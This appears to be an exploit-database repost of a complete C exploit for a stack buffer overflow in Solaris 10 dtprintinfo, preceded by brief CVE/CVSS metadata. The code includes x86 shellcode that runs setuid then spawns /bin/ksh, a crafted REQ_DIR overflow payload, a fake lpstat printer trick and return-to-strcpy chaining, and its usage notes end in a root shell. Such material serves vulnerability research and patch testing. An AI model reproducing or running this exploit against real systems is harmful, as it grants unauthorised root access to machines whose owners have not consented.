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Solaris 10 1/13 (Intel) dtprintinfo Local Privilege Escalation (2)

CVE Category Price Severity
N/A CWE-20 N/A High
Author Risk Exploitation Type Date
Unknown High Local 2021-02-14
CPE
cpe:cpe:/o:sun:solaris:10.0
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021020082

Below is a copy:

Solaris 10 1/13 (Intel) dtprintinfo Local Privilege Escalation (2)
# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 Intel


/*
 * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
 * Copyright (c) 2020 Marco Ivaldi <[email protected]>
 *
 * "What we do in life echoes in eternity" -- Maximus Decimus Meridius
 * https://patchfriday.com/22/
 *
 * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
 * local root. This one was discovered by Marti Guasch Jimenez, who attended my
 * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
 * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
 *
 * It's a stack-based buffer overflow in the check_dir() function:
 * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
 *     char local_724 [300];
 *     ...
 *     __format = getenv("REQ_DIR");
 *     sprintf(local_724,__format,param_2);
 *
 * "To trigger this vulnerability we need a printer present, we can also fake
 * it with the lpstat trick. We also need at least one directory in the path
 * pointed by the environment variable TMP_DIR. Finally, we just need to set
 * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
 * overwrite EIP." -- Marti Guasch Jimenez
 *
 * This bug was likely fixed during the general cleanup of CDE code done by
 * Oracle in response to my recently reported vulnerabilities. However, I can't
 * confirm this because I have no access to their patches:/
 *
 * Usage:
 * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
 * [on your xserver: double click on the fake "fnord" printer]
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1"raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
#define INFO2"Copyright (c) 2020 Marco Ivaldi <[email protected]>"

#defineVULN"/usr/dt/bin/dtprintinfo"// the vulnerable program
#defineBUFSIZE2048// size of the evil env var

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char*arg[2] = {"foo", NULL};
char*env[256];
intenv_pos = 0, env_len = 0;

/* prototypes */
intadd_env(char *string);
voidcheck_zero(int addr, char *pattern);
intget_sc_addr(char *path, char **argv);
intsearch_ldso(char *sym);
intsearch_rwx_mem(void);
voidset_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
charbuf[BUFSIZE];
charplatform[256], release[256], display[256];
inti, sc_addr;

intsb = ((int)argv[0] | 0xfff);/* stack base */
intret = search_ldso("strcpy");/* or sprintf */
intrwx_mem = search_rwx_mem();/* rwx memory */

/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {

/* check command line */
if (argc != 2)
exit(1);

/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}

/* helper program that prints argv[0] address, used by get_sc_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}

/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

/* process command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);

/* prepare the evil env var */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "REQ_DIR=", 8);

/* fill the envp, keeping padding */
add_env(sc);
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);

/* calculate the shellcode address */
sc_addr = get_sc_addr(VULN, argv);

/* fill with ld.so.1 address, saved eip, and arguments */
for (i = 12; i < BUFSIZE - 20; i += 4) {
set_val(buf, i, ret);/* strcpy */
set_val(buf, i += 4, rwx_mem);/* saved eip */
set_val(buf, i += 4, rwx_mem);/* 1st argument */
set_val(buf, i += 4, sc_addr);/* 2nd argument */
}

/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);

/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");

/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

        /* check for null bytes */
        check_zero(sc_addr, "sc address");

/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
inti;

/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}

/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;

/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}

return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
    !(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}

/*
 * get_sc_addr(): get shellcode address using a helper program
 */
int get_sc_addr(char *path, char **argv)
{
charprog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
charhex[11] = "\x00";
intfd[2], addr;

        /* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);

        /* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}

switch(fork()) {

case -1: /* cannot fork */
perror("fork");
exit(1);

case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);

default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}

/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read sc address from helper program\n");
exit(1);
}
return addr;
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
intaddr;
void*handle;
Link_map*lm;

/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}

/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}

/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}

/* close the executable object file */
dlclose(handle);

check_zero(addr - 4, sym);
return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
intfd;
chartmp[16];
prmap_tmap;
intaddr = 0, addr_old;

/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}

/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);

/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;

return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
buf[pos] =(val & 0x000000ff);
buf[pos + 1] =(val & 0x0000ff00) >> 8;
buf[pos + 2] =(val & 0x00ff0000) >> 16;
buf[pos + 3] =(val & 0xff000000) >> 24;
}

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